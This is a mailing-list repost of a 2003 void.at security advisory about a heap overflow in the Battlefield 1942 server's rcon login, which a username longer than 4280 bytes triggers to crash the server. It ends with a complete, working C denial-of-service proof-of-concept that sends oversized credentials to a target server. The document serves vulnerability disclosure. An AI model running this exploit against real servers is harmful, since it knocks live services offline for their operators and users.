bf1942 exploit
Daniel Valois
ninzor at packet-kids.com
Wed Feb 26 16:24:44 EST 2003
http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html
From: VOID.AT Security (asdf_at_asdf.com)
Date: Wed Feb 26 2003 - 12:19:40 CST
a.. Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
--------------------------------------------------------------------------------
[void.at Security Advisory VSA0307 - mailto:crew at void dot at]
Battlefield 1942 is a game (c) by Electronic Arts[1].
Overview
========
By sending a specially crafted packet to the bf1942-server
remote administration port, an attacker can cause the server
to crash.
It *could* even be possible to remotely exploit this
vulnerability to gain a remote shell (see "Details"
for details)
Affected Versions
=================
As I discovered this vulnerability, the game's version was
1.2. Because I don't play this game anymore and I didn't
download that overbloated 50 MB patch I have no idea if
the current version (1.3) is vulnerable (but I'd bet).
Impact
======
Medium. The remote server simply crashes.
Details
=======
Battlefield 1942 can be configured to listen to a tcp-port
(default: 4711) and accept connections to remotely enter
commands or change server variables. A command line utility
to do that comes with bf1942 ("RemoteConsole.exe"), and there
exists at least one GUI that uses the same protocol.
The session starts by connecting to the rcon-port. The server
responds with an XOR-key that is used to send the username
and the password (although we don't need that here).
The login credentials get submitted in the following way:
(byte) Length of Username
(szstring) Username
(byte) Length of Password
(szstring) Password
Heh, I'm sure you've guessed it, you can overwrite the heap
by sending especially long usernames and/or passwords.
Now the interesting part: it is possible to overwrite control
information on the heap (like that famous malloc/free-bugs).
The problem is, that the chunk that receives the username
is the last chunk in the chain, so there is no following
control block that could be overwritten to exploit a
free-vulnerability. This is the reason I am not able to
supply an exploit for this.
The thing is, after that block are pointers to the double-
linked ring-list that holds the free blocks. It *is* possible
to overwrite them, but I didn't find a way to exploit that,
other than to remotely DoS the server. Perhaps someone more
skilled (and with more time) can do that (plz let me know *g*)
Length of username > 4280 crashes the server.
Note that by the time I discovered this, the only server
available was the Windows-version. Today there exists a
(beta-)Linux-version too, perhaps you can have more fun
with it.
Solution
========
Disable that remote administration thing until a patch
comes out.
Exploit
=======
I've attached a demonstration exploit.
And YES I really wanted to contact the vendors about that
problem, but I gave up after straying around on the EA.com
website for 15 min. searching for a simple mail address
(not to mention requesting a public key...).
Discovered by
=============
greuff <greuff at void.at>
Credits
=======
void.at
^sq, G7 and thokky for giving me links to papers
halvar at blackhat.com for simply ignoring my mail regarding the
double-linked-list overwrite.
References
==========
[1] http://www.ea.com
------------------------------------------------------------------
/*****************************************************************
* hoagie_bf1942_rcon.c
*
* Remote-DoS for Battlefield 1942-Servers that have their
* rcon-port activated (4711/tcp by default)
*
* Author: greuff at void.at
*
* Tested on BF-Server 1.2 on win32
*
* Credits:
* void.at
* ^sq, G7 and thokky
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s);
int main(int argc, char **argv)
{
int sock, rval=0;
char *user, *pass;
int anz=5000/*4280*//*4272*//*4200*/;
if(argc!=3)
{
printf("Usage: %s servername serverport\n\n",argv[0]);
return EX_USAGE;
}
user=malloc(anz+1);
pass=malloc(anz+1);
memset(user,0,anz+1);
memset(user,'A',anz);
memset(pass,0,anz+1);
memset(pass,'B',anz);
do
{
rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
if(rval==-1)
{
printf("Authentication failed. user=%s pass=%s\n",user,pass);
user[1]++;
close(sock);
}
else if(rval>0)
{
printf("Error: %s\n",strerror(rval));
return -1;
}
} while(0);
return 0;
}
/* open a session to a bf1942-server (Rcon)
*
* WARNING this is a minimalist's version of the real rcon-authentication
* (XOR's skipped)
*
* in: servername, serverport, username, pass
* out: on success: 0, serversocket in *sock
* on error : -1 = autherror, errno otherwise
*/
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s)
{
int sock, i, rval;
struct hostent *hp;
struct sockaddr_in inaddr;
unsigned long l;
char xorkey[10], buf[20];
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
return errno;
if((hp=gethostbyname(servername))<0)
return errno;
inaddr.sin_family=AF_INET;
inaddr.sin_port=htons(serverport);
memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
return errno;
// connection established. The first thing the server should
// send is the XOR-Key for transmitting the username and the
// password.
if((i=read(sock,xorkey,10))<0)
return errno;
// send the username and the password...
l=strlen(user)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,user,strlen(user)+1)<0)
return errno;
l=strlen(pass)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,pass,strlen(pass)+1)<0)
return errno;
if(read(sock,buf,20)<0)
return errno;
if(buf[0]==0x01)
{
rval=0; // auth-ok, connection established
*s=sock;
}
else
rval=-1; // auth-error
return rval;
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQA+XQVBzxi8qAgTjUMRAjLbAKCN15A0DLoALJE15670dIFEn4AQXgCgi0uK
IZdDvi1kD7cNWP4YV8bq86I=
=e8jV
-----END PGP SIGNATURE-----
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://icculus.org/pipermail/bf1942/attachments/20030226/4f9cfd57/attachment.htm>
More information about the Bf1942
mailing list